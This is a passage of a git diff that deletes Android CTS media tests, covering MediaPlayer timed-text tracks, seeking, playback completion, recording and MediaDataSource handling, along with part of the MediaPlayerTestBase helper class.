-        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
-        mMediaPlayer.prepare();
-        mMediaPlayer.start();
-        assertTrue(mMediaPlayer.isPlaying());
-
-        // The media metadata will be changed while playing since closed caption tracks are in-band
-        // and those tracks will be found after processing a number of frames. These tracks will be
-        // found within one second.
-        mOnInfoCalled.waitForSignal(1500);
-
-        mOnInfoCalled.reset();
-        mOnInfoCalled.waitForSignal(1500);
-
-        readSubtitleTracks();
-        assertEquals(2, mSubtitleTrackIndex.size());
-
-        mMediaPlayer.stop();
-    }
-
-    private void readTimedTextTracks() throws Exception {
-        mTimedTextTrackIndex.clear();
-        MediaPlayer.TrackInfo[] trackInfos = mMediaPlayer.getTrackInfo();
-        if (trackInfos == null || trackInfos.length == 0) {
-            return;
-        }
-
-        Vector<Integer> externalTrackIndex = new Vector<>();
-        for (int i = 0; i < trackInfos.length; ++i) {
-            assertTrue(trackInfos[i] != null);
-            if (trackInfos[i].getTrackType() == MediaPlayer.TrackInfo.MEDIA_TRACK_TYPE_TIMEDTEXT) {
-                MediaFormat format = trackInfos[i].getFormat();
-                String mime = format.getString(MediaFormat.KEY_MIME);
-                if (MediaPlayer.MEDIA_MIMETYPE_TEXT_SUBRIP.equals(mime)) {
-                    externalTrackIndex.add(i);
-                } else {
-                    mTimedTextTrackIndex.add(i);
-                }
-            }
-        }
-
-        mTimedTextTrackIndex.addAll(externalTrackIndex);
-    }
-
-    private int getTimedTextTrackCount() {
-        return mTimedTextTrackIndex.size();
-    }
-
-    private void selectTimedTextTrack(int index) throws Exception {
-        int trackIndex = mTimedTextTrackIndex.get(index);
-        mMediaPlayer.selectTrack(trackIndex);
-        mSelectedTimedTextIndex = index;
-    }
-
-    private void deselectTimedTextTrack(int index) throws Exception {
-        int trackIndex = mTimedTextTrackIndex.get(index);
-        mMediaPlayer.deselectTrack(trackIndex);
-        if (mSelectedTimedTextIndex == index) {
-            mSelectedTimedTextIndex = -1;
-        }
-    }
-
-    public void testDeselectTrackForTimedTextTrack() throws Throwable {
-        if (!checkLoadResource("testvideo_with_2_timedtext_tracks.3gp")) {
-            return; // skip;
-        }
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                try {
-                    loadSubtitleSource("test_subtitle1_srt.3gp");
-                } catch (Exception e) {
-                    throw new AssertionFailedError(e.getMessage());
-                }
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-
-        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
-        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-        mMediaPlayer.setOnTimedTextListener(new MediaPlayer.OnTimedTextListener() {
-            @Override
-            public void onTimedText(MediaPlayer mp, TimedText text) {
-                if (text != null) {
-                    String plainText = text.getText();
-                    if (plainText != null) {
-                        mOnTimedTextCalled.signal();
-                        Log.d(LOG_TAG, "text: " + plainText.trim());
-                    }
-                }
-            }
-        });
-        mMediaPlayer.prepare();
-        readTimedTextTracks();
-        assertEquals(getTimedTextTrackCount(), 3);
-
-        mMediaPlayer.start();
-        assertTrue(mMediaPlayer.isPlaying());
-
-        // Run twice to check if repeated selection-deselection on the same track works well.
-        for (int i = 0; i < 2; i++) {
-            // Waits until at least one subtitle is fired. Timeout is 1.5 sec.
-            selectTimedTextTrack(0);
-            mOnTimedTextCalled.reset();
-            assertTrue(mOnTimedTextCalled.waitForSignal(1500));
-
-            // Try deselecting track.
-            deselectTimedTextTrack(0);
-            mOnTimedTextCalled.reset();
-            assertFalse(mOnTimedTextCalled.waitForSignal(1500));
-        }
-
-        // Run the same test for external subtitle track.
-        for (int i = 0; i < 2; i++) {
-            selectTimedTextTrack(2);
-            mOnTimedTextCalled.reset();
-            assertTrue(mOnTimedTextCalled.waitForSignal(1500));
-
-            // Try deselecting track.
-            deselectTimedTextTrack(2);
-            mOnTimedTextCalled.reset();
-            assertFalse(mOnTimedTextCalled.waitForSignal(1500));
-        }
-
-        try {
-            deselectTimedTextTrack(0);
-            fail("Deselecting unselected track: expected RuntimeException, " +
-                 "but no exception has been triggered.");
-        } catch (RuntimeException e) {
-            // expected
-        }
-
-        mMediaPlayer.stop();
-    }
-
-    public void testChangeTimedTextTrack() throws Throwable {
-        testChangeTimedTextTrackWithSpeed(1.0f);
-    }
-
-    public void testChangeTimedTextTrackFast() throws Throwable {
-        testChangeTimedTextTrackWithSpeed(2.0f);
-    }
-
-    private void testChangeTimedTextTrackWithSpeed(float speed) throws Throwable {
-        testTimedText("testvideo_with_2_timedtext_tracks.3gp", 2,
-                new String[] {"test_subtitle1_srt.3gp", "test_subtitle2_srt.3gp"},
-                new VerifyAndSignalTimedText(),
-                new Callable<Void>() {
-                    @Override
-                    public Void call() throws Exception {
-                        selectTimedTextTrack(0);
-                        mOnTimedTextCalled.reset();
-
-                        mMediaPlayer.start();
-                        if (speed != 1.0f) {
-                            mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(speed));
-                        }
-
-                        assertTrue(mMediaPlayer.isPlaying());
-
-                        // Waits until at least two subtitles are fired. Timeout is 2.5 sec.
-                        // Please refer the test srt files:
-                        // test_subtitle1_srt.3gp and test_subtitle2_srt.3gp
-                        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
-                        selectTimedTextTrack(1);
-                        mOnTimedTextCalled.reset();
-                        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
-                        selectTimedTextTrack(2);
-                        mOnTimedTextCalled.reset();
-                        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-
-                        selectTimedTextTrack(3);
-                        mOnTimedTextCalled.reset();
-                        assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
-                        mMediaPlayer.stop();
-
-                        assertEquals("Wrong bounds count", 2, mBoundsCount);
-                        return null;
-                    }
-                });
-    }
-
-    public void testSeekWithTimedText() throws Throwable {
-        AtomicInteger iteration = new AtomicInteger(5);
-        AtomicInteger num = new AtomicInteger(10);
-        try {
-            Bundle args = InstrumentationRegistry.getArguments();
-            num.set(Integer.parseInt(args.getString("num", "10")));
-            iteration.set(Integer.parseInt(args.getString("iteration", "5")));
-        } catch (Exception e) {
-            Log.w(LOG_TAG, "bad num/iteration arguments, using default", e);
-        }
-        testTimedText("testvideo_with_2_timedtext_tracks.3gp", 2, new String [] {},
-                new VerifyAndSignalTimedText(num.get(), true),
-                new Callable<Void>() {
-                    @Override
-                    public Void call() throws Exception {
-                        selectTimedTextTrack(0);
-                        mOnSeekCompleteCalled.reset();
-                        mOnTimedTextCalled.reset();
-                        OnSeekCompleteListener seekListener = new OnSeekCompleteListener() {
-                            @Override
-                            public void onSeekComplete(MediaPlayer mp) {
-                                mOnSeekCompleteCalled.signal();
-                            }
-                        };
-                        mMediaPlayer.setOnSeekCompleteListener(seekListener);
-                        mMediaPlayer.start();
-                        assertTrue(mMediaPlayer.isPlaying());
-                        int n = num.get();
-                        for (int i = 0; i < iteration.get(); ++i) {
-                            assertTrue(mOnTimedTextCalled.waitForCountedSignals(n, 15000) == n);
-                            mOnTimedTextCalled.reset();
-                            mMediaPlayer.seekTo(0);
-                            mOnSeekCompleteCalled.waitForSignal();
-                            mOnSeekCompleteCalled.reset();
-                        }
-                        mMediaPlayer.stop();
-                        return null;
-                    }
-                });
-    }
-
-    private void testTimedText(
-            String resource, int numInternalTracks, String[] subtitleResources,
-            OnTimedTextListener onTimedTextListener, Callable<?> testBody) throws Throwable {
-        if (!checkLoadResource(resource)) {
-            return; // skip;
-        }
-
-        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
-        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-        mMediaPlayer.setOnTimedTextListener(onTimedTextListener);
-        mBoundsCount = 0;
-
-        mMediaPlayer.prepare();
-        assertFalse(mMediaPlayer.isPlaying());
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                try {
-                    readTimedTextTracks();
-                } catch (Exception e) {
-                    throw new AssertionFailedError(e.getMessage());
-                }
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        assertEquals(getTimedTextTrackCount(), numInternalTracks);
-
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                try {
-                    // Adds two more external subtitle files.
-                    for (String subRes : subtitleResources) {
-                        loadSubtitleSource(subRes);
-                    }
-                    readTimedTextTracks();
-                } catch (Exception e) {
-                    throw new AssertionFailedError(e.getMessage());
-                }
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        assertEquals(getTimedTextTrackCount(), numInternalTracks + subtitleResources.length);
-
-        testBody.call();
-    }
-
-    @Presubmit
-    public void testGetTrackInfoForVideoWithTimedText() throws Throwable {
-        if (!checkLoadResource("testvideo_with_2_timedtext_tracks.3gp")) {
-            return; // skip;
-        }
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                try {
-                    loadSubtitleSource("test_subtitle1_srt.3gp");
-                    loadSubtitleSource("test_subtitle2_srt.3gp");
-                } catch (Exception e) {
-                    throw new AssertionFailedError(e.getMessage());
-                }
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        mMediaPlayer.prepare();
-        mMediaPlayer.start();
-
-        readTimedTextTracks();
-        selectTimedTextTrack(2);
-
-        int count = 0;
-        MediaPlayer.TrackInfo[] trackInfos = mMediaPlayer.getTrackInfo();
-        assertTrue(trackInfos != null && trackInfos.length != 0);
-        for (int i = 0; i < trackInfos.length; ++i) {
-            assertTrue(trackInfos[i] != null);
-            if (trackInfos[i].getTrackType() == MediaPlayer.TrackInfo.MEDIA_TRACK_TYPE_TIMEDTEXT) {
-                String trackLanguage = trackInfos[i].getLanguage();
-                assertTrue(trackLanguage != null);
-                trackLanguage = trackLanguage.trim();
-                Log.d(LOG_TAG, "track info lang: " + trackLanguage);
-                assertTrue("Should not see empty track language with our test data.",
-                           trackLanguage.length() > 0);
-                count++;
-            }
-        }
-        // There are 4 subtitle tracks in total in our test data.
-        assertEquals(4, count);
-    }
-
-    /*
-     *  This test assumes the resources being tested are between 8 and 14 seconds long
-     *  The ones being used here are 10 seconds long.
-     */
-    public void testResumeAtEnd() throws Throwable {
-        int testsRun =
-            testResumeAtEnd("loudsoftmp3.mp3") +
-            testResumeAtEnd("loudsoftwav.wav") +
-            testResumeAtEnd("loudsoftogg.ogg") +
-            testResumeAtEnd("loudsoftitunes.m4a") +
-            testResumeAtEnd("loudsoftfaac.m4a") +
-            testResumeAtEnd("loudsoftaac.aac");
-        if (testsRun == 0) {
-            MediaUtils.skipTest("no decoder found");
-        }
-    }
-
-    // returns 1 if test was run, 0 otherwise
-    private int testResumeAtEnd(final String res) throws Throwable {
-        if (!loadResource(res)) {
-            Log.i(LOG_TAG, "testResumeAtEnd: No decoder found for " + res + " --- skipping.");
-            return 0; // skip
-        }
-        mMediaPlayer.prepare();
-        mOnCompletionCalled.reset();
-        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-            @Override
-            public void onCompletion(MediaPlayer mp) {
-                mOnCompletionCalled.signal();
-                mMediaPlayer.start();
-            }
-        });
-        // skip the first part of the file so we reach EOF sooner
-        mMediaPlayer.seekTo(5000);
-        mMediaPlayer.start();
-        // sleep long enough that we restart playback at least once, but no more
-        Thread.sleep(10000);
-        assertTrue("MediaPlayer should still be playing", mMediaPlayer.isPlaying());
-        mMediaPlayer.reset();
-        assertEquals("wrong number of repetitions", 1, mOnCompletionCalled.getNumSignal());
-        return 1;
-    }
-
-    public void testPositionAtEnd() throws Throwable {
-        int testsRun =
-            testPositionAtEnd("test1m1shighstereo.mp3") +
-            testPositionAtEnd("loudsoftmp3.mp3") +
-            testPositionAtEnd("loudsoftwav.wav") +
-            testPositionAtEnd("loudsoftogg.ogg") +
-            testPositionAtEnd("loudsoftitunes.m4a") +
-            testPositionAtEnd("loudsoftfaac.m4a") +
-            testPositionAtEnd("loudsoftaac.aac");
-        if (testsRun == 0) {
-            MediaUtils.skipTest(LOG_TAG, "no decoder found");
-        }
-    }
-
-    private int testPositionAtEnd(final String res) throws Throwable {
-        if (!loadResource(res)) {
-            Log.i(LOG_TAG, "testPositionAtEnd: No decoder found for " + res + " --- skipping.");
-            return 0; // skip
-        }
-        mMediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
-        mMediaPlayer.prepare();
-        int duration = mMediaPlayer.getDuration();
-        assertTrue("resource too short", duration > 6000);
-        mOnCompletionCalled.reset();
-        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-            @Override
-            public void onCompletion(MediaPlayer mp) {
-                mOnCompletionCalled.signal();
-            }
-        });
-        mMediaPlayer.seekTo(duration - 5000);
-        mMediaPlayer.start();
-        while (mMediaPlayer.isPlaying()) {
-            Log.i("@@@@", "position: " + mMediaPlayer.getCurrentPosition());
-            Thread.sleep(500);
-        }
-        Log.i("@@@@", "final position: " + mMediaPlayer.getCurrentPosition());
-        assertTrue(mMediaPlayer.getCurrentPosition() > duration - 1000);
-        mMediaPlayer.reset();
-        return 1;
-    }
-
-    public void testCallback() throws Throwable {
-        final int mp4Duration = 8484;
-
-        if (!checkLoadResource("testvideo.3gp")) {
-            return; // skip;
-        }
-
-        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
-
-        mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
-            @Override
-            public void onVideoSizeChanged(MediaPlayer mp, int width, int height) {
-                mOnVideoSizeChangedCalled.signal();
-            }
-        });
-
-        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
-            @Override
-            public void onPrepared(MediaPlayer mp) {
-                mOnPrepareCalled.signal();
-            }
-        });
-
-        mMediaPlayer.setOnSeekCompleteListener(new MediaPlayer.OnSeekCompleteListener() {
-            @Override
-            public void onSeekComplete(MediaPlayer mp) {
-                mOnSeekCompleteCalled.signal();
-            }
-        });
-
-        mOnCompletionCalled.reset();
-        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-            @Override
-            public void onCompletion(MediaPlayer mp) {
-                mOnCompletionCalled.signal();
-            }
-        });
-
-        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-            @Override
-            public boolean onError(MediaPlayer mp, int what, int extra) {
-                mOnErrorCalled.signal();
-                return false;
-            }
-        });
-
-        mMediaPlayer.setOnInfoListener(new MediaPlayer.OnInfoListener() {
-            @Override
-            public boolean onInfo(MediaPlayer mp, int what, int extra) {
-                mOnInfoCalled.signal();
-                return false;
-            }
-        });
-
-        assertFalse(mOnPrepareCalled.isSignalled());
-        assertFalse(mOnVideoSizeChangedCalled.isSignalled());
-        mMediaPlayer.prepare();
-        mOnPrepareCalled.waitForSignal();
-        mOnVideoSizeChangedCalled.waitForSignal();
-        mOnSeekCompleteCalled.reset();
-        mMediaPlayer.seekTo(mp4Duration >> 1);
-        mOnSeekCompleteCalled.waitForSignal();
-        assertFalse(mOnCompletionCalled.isSignalled());
-        mMediaPlayer.start();
-        while(mMediaPlayer.isPlaying()) {
-            Thread.sleep(SLEEP_TIME);
-        }
-        assertFalse(mMediaPlayer.isPlaying());
-        mOnCompletionCalled.waitForSignal();
-        assertFalse(mOnErrorCalled.isSignalled());
-        mMediaPlayer.stop();
-        mMediaPlayer.start();
-        mOnErrorCalled.waitForSignal();
-    }
-
-    public void testRecordAndPlay() throws Exception {
-        if (!hasMicrophone()) {
-            MediaUtils.skipTest(LOG_TAG, "no microphone");
-            return;
-        }
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_AUDIO_AMR_NB)
-                || !MediaUtils.checkEncoder(MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
-            return; // skip
-        }
-        File outputFile = new File(Environment.getExternalStorageDirectory(),
-                "record_and_play.3gp");
-        String outputFileLocation = outputFile.getAbsolutePath();
-        try {
-            recordMedia(outputFileLocation);
-            MediaPlayer mp = new MediaPlayer();
-            try {
-                mp.setDataSource(outputFileLocation);
-                mp.prepareAsync();
-                Thread.sleep(SLEEP_TIME);
-                playAndStop(mp);
-            } finally {
-                mp.release();
-            }
-
-            Uri uri = Uri.parse(outputFileLocation);
-            mp = new MediaPlayer();
-            try {
-                mp.setDataSource(mContext, uri);
-                mp.prepareAsync();
-                Thread.sleep(SLEEP_TIME);
-                playAndStop(mp);
-            } finally {
-                mp.release();
-            }
-
-            try {
-                mp = MediaPlayer.create(mContext, uri);
-                playAndStop(mp);
-            } finally {
-                if (mp != null) {
-                    mp.release();
-                }
-            }
-
-            try {
-                mp = MediaPlayer.create(mContext, uri, getActivity().getSurfaceHolder());
-                playAndStop(mp);
-            } finally {
-                if (mp != null) {
-                    mp.release();
-                }
-            }
-        } finally {
-            outputFile.delete();
-        }
-    }
-
-    private void playAndStop(MediaPlayer mp) throws Exception {
-        mp.start();
-        Thread.sleep(SLEEP_TIME);
-        mp.stop();
-    }
-
-    private void recordMedia(String outputFile) throws Exception {
-        MediaRecorder mr = new MediaRecorder();
-        try {
-            mr.setAudioSource(MediaRecorder.AudioSource.MIC);
-            mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
-            mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
-            mr.setOutputFile(outputFile);
-
-            mr.prepare();
-            mr.start();
-            Thread.sleep(SLEEP_TIME);
-            mr.stop();
-        } finally {
-            mr.release();
-        }
-    }
-
-    private boolean hasMicrophone() {
-        return getActivity().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-
-    // Smoke test playback from a MediaDataSource.
-    public void testPlaybackFromAMediaDataSource() throws Exception {
-        final String res = "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
-        final int duration = 10000;
-
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        if (!MediaUtils.hasCodecsForResource(mInpPrefix + res)) {
-            return;
-        }
-
-        TestMediaDataSource dataSource =
-                TestMediaDataSource.fromAssetFd(getAssetFileDescriptorFor(res));
-        // Test returning -1 from getSize() to indicate unknown size.
-        dataSource.returnFromGetSize(-1);
-        mMediaPlayer.setDataSource(dataSource);
-        playLoadedVideo(null, null, -1);
-        assertTrue(mMediaPlayer.isPlaying());
-
-        // Test pause and restart.
-        mMediaPlayer.pause();
-        Thread.sleep(SLEEP_TIME);
-        assertFalse(mMediaPlayer.isPlaying());
-        mMediaPlayer.start();
-        assertTrue(mMediaPlayer.isPlaying());
-
-        // Test reset.
-        mMediaPlayer.stop();
-        mMediaPlayer.reset();
-        mMediaPlayer.setDataSource(dataSource);
-        mMediaPlayer.prepare();
-        mMediaPlayer.start();
-        assertTrue(mMediaPlayer.isPlaying());
-
-        // Test seek. Note: the seek position is cached and returned as the
-        // current position so there's no point in comparing them.
-        mMediaPlayer.seekTo(duration - SLEEP_TIME);
-        while (mMediaPlayer.isPlaying()) {
-            Thread.sleep(SLEEP_TIME);
-        }
-    }
-
-    @Presubmit
-    public void testNullMediaDataSourceIsRejected() throws Exception {
-        try {
-            mMediaPlayer.setDataSource((MediaDataSource) null);
-            fail("Null MediaDataSource was accepted");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    @Presubmit
-    public void testMediaDataSourceIsClosedOnReset() throws Exception {
-        TestMediaDataSource dataSource = new TestMediaDataSource(new byte[0]);
-        mMediaPlayer.setDataSource(dataSource);
-        mMediaPlayer.reset();
-        assertTrue(dataSource.isClosed());
-    }
-
-    @Presubmit
-    public void testPlaybackFailsIfMediaDataSourceThrows() throws Exception {
-        final String res = "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        if (!MediaUtils.hasCodecsForResource(mInpPrefix + res)) {
-            return;
-        }
-
-        setOnErrorListener();
-        TestMediaDataSource dataSource =
-                TestMediaDataSource.fromAssetFd(getAssetFileDescriptorFor(res));
-        mMediaPlayer.setDataSource(dataSource);
-        mMediaPlayer.prepare();
-
-        dataSource.throwFromReadAt();
-        mMediaPlayer.start();
-        assertTrue(mOnErrorCalled.waitForSignal());
-    }
-
-    @Presubmit
-    public void testPlaybackFailsIfMediaDataSourceReturnsAnError() throws Exception {
-        final String res = "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        if (!MediaUtils.hasCodecsForResource(mInpPrefix + res)) {
-            return;
-        }
-
-        setOnErrorListener();
-        TestMediaDataSource dataSource =
-                TestMediaDataSource.fromAssetFd(getAssetFileDescriptorFor(res));
-        mMediaPlayer.setDataSource(dataSource);
-        mMediaPlayer.prepare();
-
-        dataSource.returnFromReadAt(-2);
-        mMediaPlayer.start();
-        assertTrue(mOnErrorCalled.waitForSignal());
-    }
-
-    @Presubmit
-    public void testSetOnRtpRxNoticeListenerWithoutPermission() {
-        try {
-            mMediaPlayer.setOnRtpRxNoticeListener(
-                    mContext, Runnable::run, (mp, noticeType, params) -> {});
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected. We don't have the required permission.
-        }
-    }
-
-    @Presubmit
-    public void testSetOnRtpRxNoticeListenerWithPermission() {
-        try {
-            getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-            mMediaPlayer.setOnRtpRxNoticeListener(
-                    mContext, Runnable::run, (mp, noticeType, params) -> {});
-        } finally {
-            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
deleted file mode 100644
index 9feeac8..0000000
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ /dev/null
@@ -1,364 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.media.MediaPlayer;
-import android.media.cts.TestUtils.Monitor;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.os.PersistableBundle;
-import android.test.ActivityInstrumentationTestCase2;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.net.HttpCookie;
-import java.util.List;
-import java.util.logging.Logger;
-import java.util.Map;
-import java.util.Set;
-
-/**
- * Base class for tests which use MediaPlayer to play audio or video.
- */
-public class MediaPlayerTestBase extends ActivityInstrumentationTestCase2<MediaStubActivity> {
-    private static final Logger LOG = Logger.getLogger(MediaPlayerTestBase.class.getName());
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    protected static final int SLEEP_TIME = 1000;
-    protected static final int LONG_SLEEP_TIME = 6000;
-    protected static final int STREAM_RETRIES = 20;
-    protected static boolean sUseScaleToFitMode = false;
-
-    protected Monitor mOnVideoSizeChangedCalled = new Monitor();
-    protected Monitor mOnVideoRenderingStartCalled = new Monitor();
-    protected Monitor mOnBufferingUpdateCalled = new Monitor();
-    protected Monitor mOnPrepareCalled = new Monitor();
-    protected Monitor mOnSeekCompleteCalled = new Monitor();
-    protected Monitor mOnCompletionCalled = new Monitor();
-    protected Monitor mOnInfoCalled = new Monitor();
-    protected Monitor mOnErrorCalled = new Monitor();
-
-    protected Context mContext;
-
-    protected MediaPlayer mMediaPlayer = null;
-    protected MediaPlayer mMediaPlayer2 = null;
-    protected MediaStubActivity mActivity;
-
-    public MediaPlayerTestBase() {
-        super(MediaStubActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        getInstrumentation().waitForIdleSync();
-        try {
-            runTestOnUiThread(new Runnable() {
-                public void run() {
-                    mMediaPlayer = new MediaPlayer();
-                    mMediaPlayer2 = new MediaPlayer();
-                }
-            });
-        } catch (Throwable e) {
-            e.printStackTrace();
-            fail();
-        }
-        mContext = getInstrumentation().getTargetContext();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mMediaPlayer != null) {
-            mMediaPlayer.release();
-            mMediaPlayer = null;
-        }
-        if (mMediaPlayer2 != null) {
-            mMediaPlayer2.release();
-            mMediaPlayer2 = null;
-        }
-        mActivity = null;
-        super.tearDown();
-    }
-
-    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        File inpFile = new File(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    // returns true on success
-    protected boolean loadResource(final String res) throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        if (!MediaUtils.hasCodecsForResource(mInpPrefix + res)) {
-            return false;
-        }
-
-        AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
-        try {
-            mMediaPlayer.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(),
-                    afd.getLength());
-
-            // Although it is only meant for video playback, it should not
-            // cause issues for audio-only playback.
-            int videoScalingMode = sUseScaleToFitMode?
-                                    MediaPlayer.VIDEO_SCALING_MODE_SCALE_TO_FIT
-                                  : MediaPlayer.VIDEO_SCALING_MODE_SCALE_TO_FIT_WITH_CROPPING;
-
-            mMediaPlayer.setVideoScalingMode(videoScalingMode);
-        } finally {
-            afd.close();
-        }
-        sUseScaleToFitMode = !sUseScaleToFitMode;  // Alternate the scaling mode
-        return true;
-    }
-
-    protected boolean checkLoadResource(String res) throws Exception {
-        return MediaUtils.check(loadResource(res), "no decoder found");
-    }
-
-    protected void loadSubtitleSource(String res) throws Exception {
-        AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
-        try {
-            mMediaPlayer.addTimedTextSource(afd.getFileDescriptor(), afd.getStartOffset(),
-                      afd.getLength(), MediaPlayer.MEDIA_MIMETYPE_TEXT_SUBRIP);
-        } finally {
-            afd.close();
-        }
-    }
-
-    protected void playLiveVideoTest(String path, int playTime) throws Exception {
-        playVideoWithRetries(path, null, null, playTime);
-    }
-
-    protected void playLiveAudioOnlyTest(String path, int playTime) throws Exception {
-        playVideoWithRetries(path, -1, -1, playTime);
-    }
-
-    protected void playVideoTest(String path, int width, int height) throws Exception {
-        playVideoWithRetries(path, width, height, 0);
-    }
-
-    protected void playVideoWithRetries(String path, Integer width, Integer height, int playTime)
-            throws Exception {
-        boolean playedSuccessfully = false;
-        for (int i = 0; i < STREAM_RETRIES; i++) {
-          try {
-            mMediaPlayer.reset();
-            mMediaPlayer.setDataSource(path);
-            playLoadedVideo(width, height, playTime);
-            playedSuccessfully = true;
-            break;
-          } catch (PrepareFailedException e) {
-            // prepare() can fail because of network issues, so try again
-            LOG.warning("prepare() failed on try " + i + ", trying playback again");
-          }
-        }
-        assertTrue("Stream did not play successfully after all attempts", playedSuccessfully);
-    }
-
-    protected void playLoadedVideoTest(final String res, int width, int height) throws Exception {
-        if (!checkLoadResource(res)) {
-            return; // skip
-        }
-
-        playLoadedVideo(width, height, 0);
-    }
-
-    protected void playLiveVideoTest(
-            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
-            int playTime) throws Exception {
-        playVideoWithRetries(uri, headers, cookies, null /* width */, null /* height */, playTime);
-    }
-
-    protected void playLiveAudioOnlyTest(
-            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
-            int playTime) throws Exception {
-        playVideoWithRetries(uri, headers, cookies, -1 /* width */, -1 /* height */, playTime);
-    }
-
-    protected void playVideoWithRetries(
-            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
-            Integer width, Integer height, int playTime) throws Exception {
-        boolean playedSuccessfully = false;
-        for (int i = 0; i < STREAM_RETRIES; i++) {
-            try {
-                mMediaPlayer.reset();
-                mMediaPlayer.setDataSource(getInstrumentation().getTargetContext(),
-                        uri, headers, cookies);
-                playLoadedVideo(width, height, playTime);
-                playedSuccessfully = true;
-                break;
-            } catch (PrepareFailedException e) {
-                // prepare() can fail because of network issues, so try again
-                // playLoadedVideo already has reset the player so we can try again safely.
-                LOG.warning("prepare() failed on try " + i + ", trying playback again");
-            }
-        }
-        assertTrue("Stream did not play successfully after all attempts", playedSuccessfully);
-    }
-
-    /**
-     * Play a video which has already been loaded with setDataSource().
-     *
-     * @param width width of the video to verify, or null to skip verification
-     * @param height height of the video to verify, or null to skip verification
-     * @param playTime length of time to play video, or 0 to play entire video.
-     * with a non-negative value, this method stops the playback after the length of
-     * time or the duration the video is elapsed. With a value of -1,
-     * this method simply starts the video and returns immediately without
-     * stoping the video playback.
-     */
-    protected void playLoadedVideo(final Integer width, final Integer height, int playTime)
-            throws Exception {
-        final float leftVolume = 0.5f;
-        final float rightVolume = 0.5f;
-
-        boolean audioOnly = (width != null && width.intValue() == -1) ||
-                (height != null && height.intValue() == -1);
-
-        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
